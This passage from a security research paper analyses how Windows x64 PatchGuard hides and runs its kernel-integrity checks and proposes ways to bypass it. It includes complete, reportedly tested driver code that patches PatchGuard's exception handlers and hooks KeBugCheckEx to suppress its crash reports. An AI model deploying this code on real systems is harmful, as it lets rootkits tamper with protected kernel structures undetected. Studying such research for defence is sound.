IN PPATCHGUARD_CONTEXT ParentContext,
IN UCHAR Processor);

Like the GDT/IDT protection, the LSTAR MSR value must be obtained on a
per-processor basis since MSR values are inherently stored on individual proces-
sors. To support this, the routine is called in the context of a loop through all
of the processors and is passed the processor identifier that it is to read from. In
order to ensure that the MSR value is obtained from the right processor, Patch-
Guard makes use of nt!KeSetAffinityThread to cause the calling thread to
run on the appropriate processor.
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3.2.5 Debug Routines

PatchGuard creates a special sub-context (type 6), that is used to protect
some internal routines that are used for debugging purposes by the kernel.
These routines, such as nt!KdpStub, are intended to be used as a mecha-
nism by which an attached debugger can handle an exception prior to al-
lowing the kernel to dispatch it. bt!KdpStub is called indirectly through the
nt!KiDebugRoutine global variable from nt!KiDispatchException. The rou-
tine that initializes the protection sub-context for these routines has been labeled
nt!PgCreateDebugRoutineSubContext and is prototyped as shown below:

PPATCHGUARD_SUB_CONTEXT PgCreateDebugRoutineSubContext(
IN PPATCHGUARD_CONTEXT ParentContext);

It appears that the sub-context structure is initialized with pointers to nt!KdpStub,
nt!KdpTrap, and nt!KiDebugRoutine. It seems that this sub-context is in-
tended to protect from a third-party driver modifying the nt!KiDebugRoutine
to point elsewhere. There may be other intentions as well.

3.3 Obfuscating the PatchGuard Contexts

In order to make it more challenging to locate the PatchGuard contexts in mem-
ory, each context is XOR’d with a randomly generated 64-bit key. This is ac-
complished by calling the function that has been labeled nt!PgEncryptContext
that inline XOR’s the supplied context buffer and then returns the XOR key
that was used to encrypt it. This function is prototyped as shown below:

ULONG64 PgEncryptContext(
IN OUT PPATCHGUARD_CONTEXT Context);

After nt!KiInitializePatchGuard has initialized all of the individual sub-
contexts, the next thing that it does is encrypt the primary PatchGuard context.
To accomplish this, it first makes a copy of the context on the stack so that it
can be referenced in plain-text after being encrypted. The reason the plain-text
copy is needed is so that the verification routine can be queued for execution,
and in order to do that it is necessary to reference some of the attributes of
the context structure. This is discussed more in the following section. After
the copy has been created, a call is made to nt!PgEncryptContext passing
the primary PatchGuard context as the first argument. Once the verification
routine has been queued for execution, the plain-text copy is no longer needed
and is set back to zero in order to ensure that no reference is left in the clear.
The pseudo code below illustrates this behavior:
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PATCHGUARD_CONTEXT LocalCopy;
ULONG64 XorKey;

memmove(
&LocalCopy,
Context,
sizeof(PATCHGUARD_CONTEXT)); // 0x1b8

XorKey = PgEncryptContext(
Context);

... Use LocalCopy for verification routine queuing ...

memset(
&LocalCopy,
0,
sizeof(LocalCopy));

3.4 Executing the PatchGuard Verification Rou-
tine

Gathering the checksums and caching critical structure values is great, but it
means absolutely nothing if there is no means by which it can be validated.
To that effect, PatchGuard goes to great lengths to make the execution of the
validation routine as covert as possible. This is accomplished through the use
of misdirection and obfuscation.

After all of the sub-contexts have been initialized, but prior to encrypting the
primary context, nt!KiInitializePatchGuard performs one of its more critical
operations. In this phase, the routine that will be indirectly used to handle the
PatchGuard verification is selected at random from an array of function pointers
and is stored at offset 0x168 in the primary PatchGuard context. The functions
found within the array have a very special purpose that will be discussed in
more detail later in this section. For now, earmark the fact that a verification
routine has been selected.

Following the selection of a verification routine, the primary PatchGuard con-
text is encrypted as described in the previous section. After the encryption com-
pletes, a timer is initialized that makes use of a sub-context that was allocated
early on in the PatchGuard initialization process by nt!KiInitializePatchGuard.
The timer is initialized through a call to nt!KeInitializeTimer where the
pointer to the timer structure that is passed in is actually part of the sub-
context structure allocated earlier. Immediately following the initialized timer
structure in memory at offset 0x88 is the word value 0x1131. When disassem-
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bled, these two bytes translate to a xor [rcx], edx instruction. If one looks
closely at the first two bytes of nt!CmpAppendDllSection, one will see that its
first instruction is composed of exactly those two bytes. Though not important
at this juncture, it may be of use later.

With the timer structure initialized, PatchGuard begins the process of queuing
the timer for execution by calling a function that has been labeled nt!PgInitializeTimer
which is prototyped as shown below:

VOID PgInitializeTimer(
IN PPATCHGUARD_CONTEXT Context,
IN PVOID EncryptedContext,
IN ULONG64 XorKey,
IN ULONG UnknownZero);

Inside the nt!PgInitializeTimer routine, a few strange things occur. First, a
DPC is initialized that uses the randomly selected verification routine described
earlier in this section as the DeferredRoutine. The EncryptedContext pointer
that is passed in as an argument is then XOR’d with the XorKey argument
to produce a completely bogus pointer that is passed as the DeferredContext
argument to nt!KeInitializeDpc. The end result is pseudo-code that looks
something like this:

KeInitializeDpc(
&Dpc,
Context->TimerDpcRoutine,
EncryptedContext ^ ~(XorKey << UnknownZero));

After the DPC has been initialized, a call is made to nt!KeSetTimer that queues
the DPC for execution. The DueTime argument is randomly generated as to
make it harder to signature with a defined upper bound in order to ensure
that it is executed within a reasonable time frame. After setting the timer,
nt!PgInitializeTimer returns to the caller.

With the timer initialized and set to execute, nt!KiInitializePatchGuard
has completed its operation and returns to nt!KiFilterFiberContext. The
divide error fault that caused the whole initialization process to start is cor-
rected and execution is restored back to the instruction following the div in
nt!KiDivide6432, thus allowing the kernel to boot as normal.

That’s only half of the fun, though. The real question now is how the validation
routine gets executed. It seems obvious that it’s related to the DPC routine
that was used when the timer was set, so the most logical place to look is there.
Recalling from earlier in this section, nt!KiInitializePatchGuard selected a
validation routine address from an array of routines at random. This array is
found by looking at this disassembly from the PatchGuard initialization routine:
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nt!KiDivide6432+0xec3:
fffff800‘01423e74 8bc1 mov eax,ecx
fffff800‘01423e76 488d0d83c1bdff lea rcx,[nt]
fffff800‘01423e7d 488b84c128044300 mov rax,[rcx+rax*8+0x430428]

Again, the same obfuscation technique that was used to hide the pool tag array
is used here. By adding 0x430428 to the base address of nt, the array of DPC
routines is revealed:

lkd> dqs nt+0x430428 L3
fffff800‘01430428 fffff800‘01033b10 nt!KiScanReadyQueues
fffff800‘01430430 fffff800‘011010e0 nt!ExpTimeRefreshDpcRoutine
fffff800‘01430438 fffff800‘0101dd10 nt!ExpTimeZoneDpcRoutine

This tells us the possible permutations for DPC routines that PatchGuard may
use, but it doesn’t tell us how this actually leads to the validation of the protec-
tion contexts. Logically, the next step is to attempt to understand how one of
these routines operates based on the DeferredContext that is passed to is since
it is known, from nt!PgInitializeTimer, that the DeferredContext argument
will point to the PatchGuard context XOR’d with an encryption key. Of the
three, routines, nt!ExpTimeRefreshDpcRoutine is the easiest to understand.
The disassembly of the first few instructions of this function is shown below:

lkd> u nt!ExpTimeRefreshDpcRoutine
nt!ExpTimeRefreshDpcRoutine:
fffff800‘011010e0 48894c2408 mov [rsp+0x8],rcx
fffff800‘011010e5 4883ec68 sub rsp,0x68
fffff800‘011010e9 b801000000 mov eax,0x1
fffff800‘011010ee 0fc102 xadd [rdx],eax
fffff800‘011010f1 ffc0 inc eax
fffff800‘011010f3 83f801 cmp eax,0x1

Deferred routines are prototyped as taking a pointer to the DPC that they are
associated with as the first argument and the DeferredContext pointer as the
second argument. The x64 calling convention tells us that this would equate to
rcx pointing to the DPC structure and rdx pointing to the DeferredContext
pointer. There’s a problem though. The fourth instruction of the function
attempts to perform an xadd on the first portion of the DeferredContext. As
was stated earlier, the DeferredContext that is passed to the DPC routine is
the result of an XOR operation with a pointer which products a completely
bogus pointer. This should mean that the box would crash immediately upon
de-referencing the pointer, right? It’s obvious that the answer is no, and it’s
here that another case of misdirection is seen.
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The fact of the matter is that nt!ExpTimeRefreshDpcRoutine, nt!ExpTimeZoneDpcRoutine,
and nt!KiScanReadyQueues are all perfectly legitimate routines that have noth-
ing directly to do with PatchGuard at all. Instead, they are used as an indirect
means of executing the code that does have something to do with PatchGuard.
The unique thing about these three routines is that they all three de-reference
their DeferredContext pointer at some point as shown below:

lkd> u fffff800‘01033b43 L1
nt!KiScanReadyQueues+0x33:
fffff800‘01033b43 8b02 mov eax,[rdx]
lkd> u fffff800‘0101dd1e L1
nt!ExpTimeZoneDpcRoutine+0xe:
fffff800‘0101dd1e 0fc102 xadd [rdx],eax

When the DeferredContext operation occurs a General Protection Fault
exception is raised and is passed on to nt!KiGeneralProtectionFault. This
routine then eventually leads to the execution of the exception handler that is as-
sociated with the routine that triggered the fault, such as nt!ExpTimeRefreshDpcRoutine.
On x64, the exception handling code is completely different than what most peo-
ple are used to on 32-bit. Rather than functions registering exception handlers
at runtime, each function specifies its exception handlers at compile time in a
way that allows them to be looked up through a standardize API routine, like
nt!RtlLookupFunctionEntry. This API routine returns information about the
function in the RUNTIME FUNCTION structure which most importantly includes
unwind information. The unwind information includes the address of the excep-
tion handler, if any. While this is mostly outside of the scope of this document,
one can determine the address of nt!ExpTimeRefreshDpcRoutine’s exception
handler by doing the following in the debugger:

lkd> .fnent nt!ExpTimeRefreshDpcRoutine
Debugger function entry 00000000‘01cdaa4c for:
(fffff800‘011010e0) nt!ExpTimeRefreshDpcRoutine |
(fffff800‘011011d0) nt!ExpCenturyDpcRoutine
Exact matches:

nt!ExpTimeRefreshDpcRoutine = <no type information>

BeginAddress = 00000000‘001010e0
EndAddress = 00000000‘0010110d
UnwindInfoAddress = 00000000‘00131274
lkd> u nt + dwo(nt + 00131277 + (by(nt + 00131276) * 2) + 13)
nt!ExpTimeRefreshDpcRoutine+0x40:
fffff800‘01101120 8bc0 mov eax,eax
fffff800‘01101122 55 push rbp
fffff800‘01101123 4883ec30 sub rsp,0x30
fffff800‘01101127 488bea mov rbp,rdx
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fffff800‘0110112a 48894d50 mov [rbp+0x50],rcx

Looking more closely at this exception handler, it can be seen that it issues a call
to nt!KeBugCheckEx under a certain condition with bug check code 0x109. This
bug check code is what is used by PatchGuard to indicate that a critical structure
has been tampered with, so this is a very good indication that this exception
handler is at least either in whole, or in part, associated with PatchGuard.

The exception handlers for each of the three routines are roughly equivalent and
perform the same operations. If the DeferredContext has not been tampered
with unexpectedly then the exception handlers eventually call into the protec-
tion context’s copy of the code from INITKDB, specifically the nt!FsRtlUninitializeSmallMcb.
This routine calls into the symbol named nt!FsRtlMdlReadCompleteDevEx
which is actually what is responsible for calling the various sub-context veri-
fication routines.

3.5 Reporting Verification Inconsistencies

In the event that PatchGuard detects that a critical structure has been modi-
fied, it calls the code-copy version of the symbol named nt!SdpCheckDll with
parameters that will be subsequently passed to nt!KeBugCheckEx via the func-
tion table stored in the PatchGuard context. The purpose of nt!SdbpCheckDll
is to zero out the stack and all of the registers prior to the current frame before
jumping to nt!KeBugCheckEx. This is presumably done to attempt to make
it impossible for a third-party driver to detect and recover from the bug check
report. If all of the checks go as planned and there are no inconsistencies, the
routine creates a new PatchGuard context and sets the timer again using the
same routine that was selected the first time.
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Chapter 4

Bypass Approaches

With the most critical aspects of how PatchGuard operates explained, the next
goal is to attempt to see if there are any ways in which the protection mech-
anisms offered by it can be bypassed. This would entail either disabling or
tricking the validation routine. While there are many obvious approaches, such
as the creation of a custom boot loader that runs prior to PatchGuard initial-
izing, or through the modification of ntoskrnl.exe to completely exclude the
initialization vector, the approaches discussed in this chapter are intended to
be usable in a real-world environment without having to resort to intrusive op-
erations and without requiring a reboot of the machine. In fact, the primary
goal is to create a single standalone function, or a few functions, that can be
dropped into device drivers in a manner that allows them to just call one routine
to disable the PatchGuard protections so that the driver’s existing approaches
for hooking critical structures can still be used.

It is important to note that some of the approaches listed here have not been
tested and are simply theoretical. The ones that have been tested will be indi-
cated as such. Prior to diving into the particular bypass approaches, though,
it is also important to consider general techniques for disabling PatchGuard on
the fly. First, one must consider how the validation routine is set up to run and
what it depends on to accomplish validation. In this case, the validation routine
is set to run in the context of a timer that is associated with a DPC that runs
from a system worker thread that eventually leads to the calling of an exception
handler. The DPC routine that is used is randomly selected from a small pool
of functions and the timer object is assigned a random DueTime in an effort to
make it harder to detect.

Aside from the validation vector, it is also known that when PatchGuard en-
counters an inconsistency it will call nt!KeBugCheckEx with a specific bug check
code in an attempt to crash the system. These tidbits of understanding make
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it possible to consider a wide range of bypass approaches.

4.1 Exception Handler Hooking

Since it is known that the validation routines indirectly depend on the exception
handlers associated with the three timer DPC routines to run code, it stands to
reason that it may be possible to change the behavior of each exception handler
to simply become a no-operation. This would mean that once the DPC routine
executes and triggers the general protection fault, the exception handler will get
called and will simply perform no operation rather than doing the validation
checks. This approach has been tested and has been confirmed to work on the
current implementation of PatchGuard.

The approach taken to accomplish this is to first find the list of routines that
are known to be associated with PatchGuard. As it stands today, the list only
contains three functions, but it may be the case that the list will change in the
future. After locating the array of routines, each routine’s exception handler
must be extracted and then subsequently patched to return 0x1 and then return.
An example function that implements this algorithm can be found below:

static CHAR CurrentFakePoolTagArray[] =

"AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc";

NTSTATUS DisablePatchGuard() {

UNICODE_STRING SymbolName;

NTSTATUS Status = STATUS_SUCCESS;

PVOID * DpcRoutines = NULL;

PCHAR NtBaseAddress = NULL;

ULONG Offset;

RtlInitUnicodeString(

&SymbolName,

L"__C_specific_handler");

do

{

//

// Get the base address of nt

//

if (!RtlPcToFileHeader(

MmGetSystemRoutineAddress(&SymbolName),

(PCHAR *)&NtBaseAddress))

{

Status = STATUS_INVALID_IMAGE_FORMAT;

break;

}

//

// Search the image to find the first occurrence of:

//
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// "AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc"

//

// This is the fake tag pool array that is used to allocate protection

// contexts.

//

__try

{

for (Offset = 0;

!DpcRoutines;

Offset += 4)

{

//

// If we find a match for the fake pool tag array, the DPC routine

// addresses will immediately follow.

//

if (memcmp(

NtBaseAddress + Offset,

CurrentFakePoolTagArray,

sizeof(CurrentFakePoolTagArray) - 1) == 0)

DpcRoutines = (PVOID *)(NtBaseAddress +

Offset + sizeof(CurrentFakePoolTagArray) + 3);

}

} __except(EXCEPTION_EXECUTE_HANDLER)

{

//

// If an exception occurs, we failed to find it. Time to bail out.

//

Status = GetExceptionCode();

break;

}

DebugPrint(("DPC routine array found at %p.",

DpcRoutines));

//

// Walk the DPC routine array.

//

for (Offset = 0;

DpcRoutines[Offset] && NT_SUCCESS(Status);

Offset++)

{

PRUNTIME_FUNCTION Function;

ULONG64 ImageBase;

PCHAR UnwindBuffer;

UCHAR CodeCount;

ULONG HandlerOffset;

PCHAR HandlerAddress;

PVOID LockedAddress;

PMDL Mdl;

//

// If we find no function entry, then go on to the next entry.

//

if ((!(Function = RtlLookupFunctionEntry(

(ULONG64)DpcRoutines[Offset],

&ImageBase,
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NULL))) ||

(!Function->UnwindData))

{

Status = STATUS_INVALID_IMAGE_FORMAT;

continue;

}

//

// Grab the unwind exception handler address if we’re able to find one.

//

UnwindBuffer = (PCHAR)(ImageBase + Function->UnwindData);

CodeCount = UnwindBuffer[2];

//

// The handler offset is found within the unwind data that is specific

// to the language in question. Specifically, it’s +0x10 bytes into

// the structure not including the UNWIND_INFO structure itself and any

// embedded codes (including padding). The calculation below accounts

// for all these and padding.

//

HandlerOffset = *(PULONG)((ULONG64)(UnwindBuffer + 3 + (CodeCount * 2) + 20) & ~3);

//

// Calculate the full address of the handler to patch.

//

HandlerAddress = (PCHAR)(ImageBase + HandlerOffset);

DebugPrint(("Exception handler for %p found at %p (unwind %p).",

DpcRoutines[Offset],

HandlerAddress,

UnwindBuffer));

//

// Finally, patch the routine to simply return with 1. We’ll patch

// with:

//

// 6A01 push byte 0x1

// 58 pop eax

// C3 ret

//

//

// Allocate a memory descriptor for the handler’s address.

//

if (!(Mdl = MmCreateMdl(

NULL,

(PVOID)HandlerAddress,

4)))

{

Status = STATUS_INSUFFICIENT_RESOURCES;

continue;

}

//

// Construct the Mdl and map the pages for kernel-mode access.

//

MmBuildMdlForNonPagedPool(
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Mdl);

if (!(LockedAddress = MmMapLockedPages(

Mdl,

KernelMode)))

{

IoFreeMdl(

Mdl);

Status = STATUS_ACCESS_VIOLATION;

continue;

}

//

// Interlocked exchange the instructions we’re overwriting with.

//

InterlockedExchange(

(PLONG)LockedAddress,

0xc358016a);

//

// Unmap and destroy the MDL

//

MmUnmapLockedPages(

LockedAddress,

Mdl);

IoFreeMdl(

Mdl);

}

} while (0);

return Status;

}

The benefits of this approach include the fact that it is small and relatively
simplistic. It is also quite fault tolerant in the event that something changes.
However, some of the cons include the fact that it depends on the pool tag array
being situated immediately prior to the array of DPC routine addresses and it
furthermore depends on the pool tag array being a fixed value. It’s perfectly
within the realm of possibility that Microsoft will eliminate this assumption in
the future. For these reasons, it would be better to not use this approach in a
production driver, but it is at least suitable enough for a demonstration.

In order for Microsoft to break this approach they would have to make some of
the assumptions made by it unreliable. For instance, the array of DPC routines
could be moved to a location that is not immediately after the array of pool
tags. This would mean that the routine would have to hardcode or otherwise
derive the array of DPC routines used by PatchGuard. Another option would
be to split the pool tag array out such that it isn’t a condensed string that can
be easily searched for. In reality, the relative level of complexities involved in
preventing this approach from being reliable to implement are quite small.
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4.2 KeBugCheckEx Hook

One of the unavoidable facts of PatchGuard’s protection is that it has to report
validation inconsistencies in some manner. In fact, the manner in which it
reports it has to entail shutting down the machine in order to prevent third-
party vendors from being able to continue running code even after a patch has
been detected. As it stands right now, the approach taken to accomplish this
is to issue a bug check with the symbolic code of 0x109 via nt!KeBugCheckEx.
This route was taken so that the end-user would be aware of what had occurred
and not be left in the dark, literally, if their machine were to all of the sudden
shut off or reboot without any word of explanation.

The first idea the authors had when thinking about bypass techniques was to at-
tempt to have nt!KeBugCheckEx return to the caller’s caller frame. This would
be necessary because you cannot return to the caller since the compiler generally
inserts a debugger trap immediately after calls to nt!KeBugCheckEx. However,
it may have been possible to return to the frame of the caller’s caller. In other
words, the routine that called the function that lead to nt!KeBugCheckEx be-
ing called. However, as described earlier in this document, the PatchGuard code
takes care to ensure that the stack is zeroed out prior to calling nt!KeBugCheckEx.
This effectively eliminates any contextual references that might be used on the
stack for the purpose of returning to parent frames. As such, the nt!KeBugCheckEx
hook vector might seem like a dead-end. Quite the contrary, it’s not.

A derivative approach that can be taken without having to worry about context
stored in registers or on the stack is to take advantage of the fact that each thread
retains the address of its own entry point. For system worker threads, the entry
point will typically point to a routine like nt!ExpWorkerThread. Since multiple
worker threads are spawned, the context parameter passed to the thread is
irrelevant as the worker threads are really only being used to process work items
and expire DPC routines. With this fact in mind, the approach boils down to
hooking nt!KeBugCheckEx and detecting whether or not bug check code 0x109
has been passed. If it has not, the original nt!KeBugCheckEx routine can be
called. However, if it is 0x109, then the thread can be restarted by restoring
the calling thread’s stack pointer to its stack limit minus 8 and then jumping
to the thread’s StartAddress. The end result is that the thread goes back to
processing work items and expiring DPC routines like normal.

While a more obvious approach would be to simply terminate the calling thread,
doing so would not be possible. The operating system keeps track of system
worker threads and will detect if one exits. The act of a system worker thread
exiting will lead to a bluescreen of the system – exactly the type of thing that
is trying to be avoided.

The following code implements the algorithm described above. It is fairly large
for reasons that will be discussed after the snippet:
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== ext.asm

.data

EXTERN OrigKeBugCheckExRestorePointer:PROC

EXTERN KeBugCheckExHookPointer:PROC

.code

;

; Points the stack pointer at the supplied argument and returns to the caller.

;

public AdjustStackCallPointer

AdjustStackCallPointer PROC

mov rsp, rcx

xchg r8, rcx

jmp rdx

AdjustStackCallPointer ENDP

;

; Wraps the overwritten preamble of KeBugCheckEx.

;

public OrigKeBugCheckEx

OrigKeBugCheckEx PROC

mov [rsp+8h], rcx

mov [rsp+10h], rdx

mov [rsp+18h], r8

lea rax, [OrigKeBugCheckExRestorePointer]

jmp qword ptr [rax]

OrigKeBugCheckEx ENDP

END

== antipatch.c

//

// Both of these routines reference the assembly code described

// above

//

extern VOID OrigKeBugCheckEx(

IN ULONG BugCheckCode,

IN ULONG_PTR BugCheckParameter1,

IN ULONG_PTR BugCheckParameter2,

IN ULONG_PTR BugCheckParameter3,

IN ULONG_PTR BugCheckParameter4);

extern VOID AdjustStackCallPointer(

IN ULONG_PTR NewStackPointer,

IN PVOID StartAddress,

IN PVOID Argument);

//

// mov eax, ptr

// jmp eax

//

static CHAR HookStub[] =

"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xe0";
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//

// The offset into the ETHREAD structure that holds the start routine.

//

static ULONG ThreadStartRoutineOffset = 0;

//

// The pointer into KeBugCheckEx after what has been overwritten by the hook.

//

PVOID OrigKeBugCheckExRestorePointer;

VOID KeBugCheckExHook(

IN ULONG BugCheckCode,

IN ULONG_PTR BugCheckParameter1,

IN ULONG_PTR BugCheckParameter2,

IN ULONG_PTR BugCheckParameter3,

IN ULONG_PTR BugCheckParameter4)

{

PUCHAR LockedAddress;

PCHAR ReturnAddress;

PMDL Mdl = NULL;

//

// Call the real KeBugCheckEx if this isn’t the bug check code we’re looking

// for.

//

if (BugCheckCode != 0x109)

{

DebugPrint(("Passing through bug check %.4x to %p.",

BugCheckCode,

OrigKeBugCheckEx));

OrigKeBugCheckEx(

BugCheckCode,

BugCheckParameter1,

BugCheckParameter2,

BugCheckParameter3,

BugCheckParameter4);

}

else

{

PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();

PVOID StartRoutine = *(PVOID **)(CurrentThread + ThreadStartRoutineOffset);

PVOID StackPointer = IoGetInitialStack();

DebugPrint(("Restarting the current worker thread %p at %p (SP=%p, off=%lu).",

PsGetCurrentThread(),

StartRoutine,

StackPointer,

ThreadStartRoutineOffset));

//

// Shift the stack pointer back to its initial value and call the routine. We

// subtract eight to ensure that the stack is aligned properly as thread

// entry point routines would expect.

//

AdjustStackCallPointer(
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(ULONG_PTR)StackPointer - 0x8,

StartRoutine,

NULL);

}

//

// In either case, we should never get here.

//

__debugbreak();

}

VOID DisablePatchProtectionSystemThreadRoutine(

IN PVOID Nothing)

{

UNICODE_STRING SymbolName;

NTSTATUS Status = STATUS_SUCCESS;

PUCHAR LockedAddress;

PUCHAR CurrentThread = (PUCHAR)PsGetCurrentThread();

PCHAR KeBugCheckExSymbol;

PMDL Mdl = NULL;

RtlInitUnicodeString(

&SymbolName,

L"KeBugCheckEx");

do

{

//

// Find the thread’s start routine offset.

//

for (ThreadStartRoutineOffset = 0;

ThreadStartRoutineOffset < 0x1000;

ThreadStartRoutineOffset += 4)

{

if (*(PVOID **)(CurrentThread +

ThreadStartRoutineOffset) == (PVOID)DisablePatchProtection2SystemThreadRoutine)

break;

}

DebugPrint(("Thread start routine offset is 0x%.4x.",

ThreadStartRoutineOffset));

//

// If we failed to find the start routine offset for some strange reason,

// then return not supported.

//

if (ThreadStartRoutineOffset >= 0x1000)

{

Status = STATUS_NOT_SUPPORTED;

break;

}

//

// Get the address of KeBugCheckEx.

//

if (!(KeBugCheckExSymbol = MmGetSystemRoutineAddress(
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&SymbolName)))

{

Status = STATUS_PROCEDURE_NOT_FOUND;

break;

}

//

// Calculate the restoration pointer.

//

OrigKeBugCheckExRestorePointer = (PVOID)(KeBugCheckExSymbol + 0xf);

//

// Create an initialize the MDL.

//

if (!(Mdl = MmCreateMdl(

NULL,

(PVOID)KeBugCheckExSymbol,

0xf)))

{

Status = STATUS_INSUFFICIENT_RESOURCES;

break;

}

MmBuildMdlForNonPagedPool(

Mdl);

//

// Probe & Lock.

//

if (!(LockedAddress = (PUCHAR)MmMapLockedPages(

Mdl,

KernelMode)))

{

IoFreeMdl(

Mdl);

Status = STATUS_ACCESS_VIOLATION;

break;

}

//

// Set the aboslute address to our hook.

//

*(PULONG64)(HookStub + 0x2) = (ULONG64)KeBugCheckExHook;

DebugPrint(("Copying hook stub to %p from %p (Symbol %p).",

LockedAddress,

HookStub,

KeBugCheckExSymbol));

//

// Copy the relative jmp into the hook routine.

//

RtlCopyMemory(

LockedAddress,

HookStub,

0xf);
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//

// Cleanup the MDL.

//

MmUnmapLockedPages(

LockedAddress,

Mdl);

IoFreeMdl(

Mdl);

} while (0);

}

//

// A pointer to KeBugCheckExHook

//

PVOID KeBugCheckExHookPointer = KeBugCheckExHook;

NTSTATUS DisablePatchProtection() {

OBJECT_ATTRIBUTES Attributes;

NTSTATUS Status;

HANDLE ThreadHandle = NULL;

InitializeObjectAttributes(

&Attributes,

NULL,

OBJ_KERNEL_HANDLE,

NULL,

NULL);

//

// Create the system worker thread so that we can automatically find the

// offset inside the ETHREAD structure to the thread’s start routine.

//

Status = PsCreateSystemThread(

&ThreadHandle,

THREAD_ALL_ACCESS,

&Attributes,

NULL,

NULL,

DisablePatchProtectionSystemThreadRoutine,

NULL);

if (ThreadHandle)

ZwClose(

ThreadHandle);

return Status;

}

This approach has been tested and has been confirmed to work against the cur-
rent version of PatchGuard at the time of this writing. The benefits that this
approach has over others is that it does not rely on any un-exported dependen-
cies or signatures, it has zero performance overhead since nt!KeBugCheckEx is
never called unless the machine is going to crash, and it is not subject to race
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conditions. The only major con that it has that the authors are aware of is that
it depends on the behavior of the system worker threads staying the same with
regard to the fact that it is safe to restore execution to the entry point of the
thread with a NULL context. It is assumed, so far, that this will continue to be
a safe bet.

In order to eliminate this approach as a possible bypass technique, Microsoft
could do one of a few things. First, they could create a new protection sub-
context that stores a checksum of nt!KeBugCheckEx and the functions that it
calls. In the event that it is detected that nt!KeBugCheckEx has been tampered
with, PatchGuard could do a hard reboot without calling any external functions.
While this is a less desired behavior, it appears to be one of the few ways in
which Microsoft could reliably solve this. Any other approach that relied on the
calling of an external function that could be found at a deterministic address
would present an opportunity for a similar bypass technique.

A second, less useful approach would be to zero out some of the fields in the
thread structure prior to calling nt!KeBugCheckEx. While this would prevent
the above described approach from working, it would certainly not prevent an-
other, perhaps more or less hackish approach from working. All that’s required
is the ability to return the worker thread to its normal operation of processing
queued work items.

4.3 Finding the Timer

A theoretical approach that has not been tested that could be used to disable
PatchGuard would involve using some heuristic algorithm to locate the timer
context associated with PatchGuard. To develop such an algorithm, it is neces-
sary to take into account what is known about the way the timer DPC routine
is set up. First, it is known that the DeferredRoutine associated with the DPC
will point to one of nt!KiScanReadyQueues, nt!ExpTimeRefreshDpcRoutine,
or nt!ExpTimeZoneDpcRoutine. Unfortunately, the addresses associated with
these routines cannot be directly determined since they are not exported, but
regardless, this knowledge could be of use. The second thing that is known is
that the DeferredContext associated with the DPC will be set to an invalid
pointer. It is also known that at offset 0x88 from the start of the timer struc-
ture is the word 0x1131. Given sufficient research, it is also likely that other
contextual references could be found in relation to the timer that would provide
enough data to deterministically identify the PatchGuard timer.

However, the problem is finding a way able to enumerate timers in the first
place. In this case, the un-exported address of the timer list would have to be
extracted in order to be able to enumerate all of the active timers. While there
are some indirect methods through which this information could be extracted,
such as by disassembling some functions that make reference to it, the mere fact
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of depending on some method of locating un-exported symbols is something that
will likely lead to unstable code.

Another option that would not require the location of un-exported symbols
would be to find some mechanism by which the address space can be searched,
starting at nt!MmNonPagedPoolStart, using the heuristic matching require-
ments described above. Given the right set of parameters for the search, it
seems likely that it would be possible to reliably and deterministically locate
the timer structure. However, there is certainly a race condition waiting to
happen under this model given that the timer routine could be dispatched im-
mediately after locating it but prior to canceling it. To surmount this, the
thread doing the searching would need to raise to a higher IRQL and possibly
disable other processors during the time that it is doing its search.

Regardless, given the ability to locate the timer structure, it should be as simple
as calling nt!KeCancelTimer to abort the PatchGuard verification routine and
disable it entirely. If possible, such an approach would be very optimal because
it would require no patching of code.

If such a technique were to be proven feasible, Microsoft would have to do
one of two things to break it. First, they could identify the matching criteria
being used by drivers and ensure that the assumptions made are no longer safe,
thus making it impossible to locate the timer structure using the existing set of
matching parameters. Alternatively, Microsoft could change the mechanism by
which the PatchGuard verification routine is executed such that it does not make
use of a timer DPC routine. The latter is most likely less preferable than the
former as it would require a relatively significant redesign and reconsideration
of the techniques used to misdirect and obfuscate the PatchGuard verification
phase.

4.4 Hybrid Interception

Of the techniques listed so far, the approaches taken to disable or otherwise
prevent PatchGuard from operating as normal rely on two basic points of in-
terception. In the case of the exception handler hooking approach, PatchGuard
is subverted by preventing the actual verification routines from running. This
point of interception can be seen as a before-the-fact approach. In the case of the
nt!KeBugCheckEx hook, PatchGuard is subverted by preventing the reporting
of the error that is associated with a critical structure modification being de-
tected. This point of interception can be seen as an after-the-fact approach. A
theoretical approach would be to combine the two concepts in a way that allows
for more deterministic and complete detection of the execution of PatchGuard’s
verification routines.

One possible example of this type of approach would be to generalize the hook-
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ing of the exception handlers that are associated with the timer DPC routines
that PatchGuard uses to the central entry point for C-style exceptions. This
routine is named nt! C specific handler and it is an exported symbol, mak-
ing it quite useful if it can be harnessed. By hooking this routine, information
about exceptions could be tracked and filtered for referencing after-the-fact in-
formation, as necessary, to determine that PatchGuard is running.

4.5 Simulated Hot Patching

The documentation associated with PatchGuard states that it still allows the
operating system to be hot-patched through their runtime patching API. For
this reason, it should be possible to simulate a hot-patch that would appear
to PatchGuard as having been legitimate. At the time of this writing, the
authors have not taken the time to understand the manner in which this could
be accomplished, but it is left open to further research. Assuming an approach
was found that allowed this technique to work reliably, it stands to reason that
doing so would be the most preferred route because it would be making use of
a documented approach for the circumvention of PatchGuard.
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Chapter 5

Conclusion

The development of a solution that is intended to mitigate the unauthorized
modification of various critical portions of the kernel can be seen as a rather
daunting task, especially when considering the need to ensure that the routines
actually used for the validation of the kernel cannot be tampered with. This
document has shown how Microsoft has approached the problem with their
PatchGuard implementation on x64-based versions of the Windows kernel. The
implementations of the approaches used to protect the various critical data
structures associated with the kernel, such as system images, SSDT, IDT/GDT,
and MSRs, have been explained in detail.

With an understanding of the implementation of PatchGuard, it is only fitting
to consider ways it which it might be subverted. In that light, this paper has
proposed a few different techniques that could be used to bypass PatchGuard
that have either been proven to work or are theorized to work. In the interest of
not identifying a problem without also proposing a solution, each bypass tech-
nique has an associated list of ways in which the technique could be mitigated
by Microsoft in the future.

Unfortunately, Microsoft is at a disadvantage with PatchGuard, and it’s one
that they are perfectly aware of. This disadvantage stems from the fact that
PatchGuard is designed to run from the same protection domain as the code
that it is designed to protect from. In more concise terms, PatchGuard runs just
like any third-party driver, and it runs with the same set of privileges. Due to
this fact, it is impossible to guarantee that a third-party driver won’t be able to
do something that will prevent PatchGuard from being able to do it’s job since
there is no way for PatchGuard to completely protect itself. Since this problem
was known going into the implementation of PatchGuard, Microsoft chose to
use the only weapons readily available to them: obfuscation and misdirection.
